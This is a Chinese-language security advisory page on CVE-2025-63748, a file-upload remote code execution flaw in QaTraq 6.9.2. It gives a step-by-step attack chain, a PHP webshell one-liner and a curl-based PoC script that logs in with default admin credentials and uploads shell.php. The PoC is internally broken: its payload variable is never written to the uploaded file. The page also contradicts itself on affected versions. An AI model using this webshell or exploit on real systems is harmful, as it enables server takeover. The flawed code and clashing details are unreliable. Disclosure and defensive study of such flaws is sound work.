IPBUF安全漏洞报告
English
CVE-2025-63748 CVSS 8.8 高危

CVE-2025-63748: QaTraq 6.9.2 文件上传导致远程代码执行漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-63748
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
QaTraq 6.9.2

相关标签

CVE-2025-63748文件上传漏洞远程代码执行RCEQaTraq无限制文件上传身份验证绕过webshell高危漏洞Web应用安全

漏洞概述

CVE-2025-63748是QaTraq 6.9.2版本中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞存在于QaTraq应用程序的"Test Script"模块中的"Add Attachment"(添加附件)功能。漏洞的根本原因是应用程序在处理文件上传时缺乏充分的输入验证和文件类型限制,允许经过身份验证的低权限用户上传任意类型的文件,包括可执行的PHP文件。QaTraq是一款广泛应用于软件测试管理的工具,常用于测试用例管理、缺陷跟踪和测试脚本管理。由于该工具通常部署在企业内部网络环境中,漏洞的成功利用可能导致测试环境被完全控制,进而作为跳板进一步渗透内网其他系统。此漏洞需要攻击者拥有有效的用户凭证才能利用,这降低了漏洞的利用门槛,因为在某些配置下可能使用默认凭证即可登录。漏洞于2025年11月17日被正式披露并收录至CVE数据库。

技术细节

该漏洞属于典型的无限制文件上传(Unrestricted File Upload)漏洞,导致远程代码执行。在QaTraq 6.9.2的Test Script模块中,"Add Attachment"功能允许用户为测试脚本添加附件材料。问题在于服务器端未对上传文件的MIME类型、内容和扩展名进行严格验证。攻击者可以构造包含PHP代码的恶意文件(如webshell.php),通过该功能上传至服务器。上传后的文件存储在可访问的web目录下,当其他用户通过"View Attachment"功能查看该附件时,服务器会执行PHP文件中的代码。由于PHP代码可以包含任意系统命令执行函数(如system()、exec()、shell_exec()等),攻击者可以获取服务器的命令执行权限,实现远程代码执行。攻击流程涉及三个关键环节:1)认证并访问Test Script模块;2)构造并上传PHP webshell作为附件;3)通过View Attachment触发代码执行。整个过程不需要复杂的攻击技术,标准工具即可完成。

攻击链分析

STEP 1
步骤1: 信息收集与认证
攻击者首先访问QaTraq登录页面,尝试使用默认凭据或已泄露的账户凭证登录系统。QaTraq可能存在默认用户名admin和密码admin的弱配置。
STEP 2
步骤2: 定位漏洞入口点
登录成功后,攻击者导航至Test Script模块,找到'Add Attachment'(添加附件)功能。该功能设计用于为测试脚本添加文档、截图等附件材料。
STEP 3
步骤3: 构造恶意文件
攻击者准备一个包含PHP代码的webshell文件,例如<?php system($_GET['cmd']); ?>。该文件在服务器执行时可接收cmd参数并执行系统命令。
STEP 4
步骤4: 上传恶意文件
通过Add Attachment功能上传webshell.php文件。由于应用程序未验证文件类型和扩展名,恶意PHP文件被成功上传至服务器可访问目录。
STEP 5
步骤5: 触发代码执行
攻击者通过'View Attachment'功能或直接访问上传文件URL触发PHP代码执行。服务器解析并执行webshell中的PHP代码。
STEP 6
步骤6: 远程命令执行
通过向webshell发送带cmd参数的HTTP请求,攻击者可在服务器上执行任意系统命令,如whoami、id、cat /etc/passwd等,实现完全远程控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-63748 PoC - QaTraq 6.9.2 File Upload RCE // Author: Security Researcher // Date: 2025 // Configuration $target_url = "http://target.com/qatraq/index.php"; $login_url = $target_url . "/login"; $upload_url = $target_url . "/test_scripts/add_attachment"; $view_url = $target_url . "/test_scripts/view_attachment"; // Credentials (may use default credentials) $username = "admin"; $password = "admin"; // PHP Webshell payload $php_payload = '<?php system($_GET["cmd"]); ?>'; // Step 1: Login to QaTraq $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "username=$username&password=$password"); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookies.txt"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); // Step 2: Upload malicious PHP file as attachment $post_fields = array( 'script_id' => '1', 'attachment' => new CURLFile('shell.php', 'application/x-php', 'shell.php') ); curl_setopt($ch, CURLOPT_URL, $upload_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookies.txt"); $upload_response = curl_exec($ch); // Step 3: Execute command via uploaded shell echo "\n[*] Uploading PHP webshell...\n"; $shell_url = $target_url . "/uploads/shell.php"; echo "[*] Shell uploaded at: $shell_url\n"; echo "[*] Execute commands: $shell_url?cmd=whoami\n"; // Cleanup curl_close($ch); ?>

影响范围

QaTraq < 6.9.2

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)限制Test Script模块的访问权限,仅允许受信任的管理员用户访问;2)配置Web服务器,禁止.php和其他脚本文件在上传目录中执行;3)部署Web应用防火墙规则,拦截非常规文件上传请求;4)监控异常的文件上传行为和访问日志;5)考虑暂时禁用Add Attachment功能,直到漏洞得到修复;6)实施强密码策略,定期更换所有用户密码,特别是管理员账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表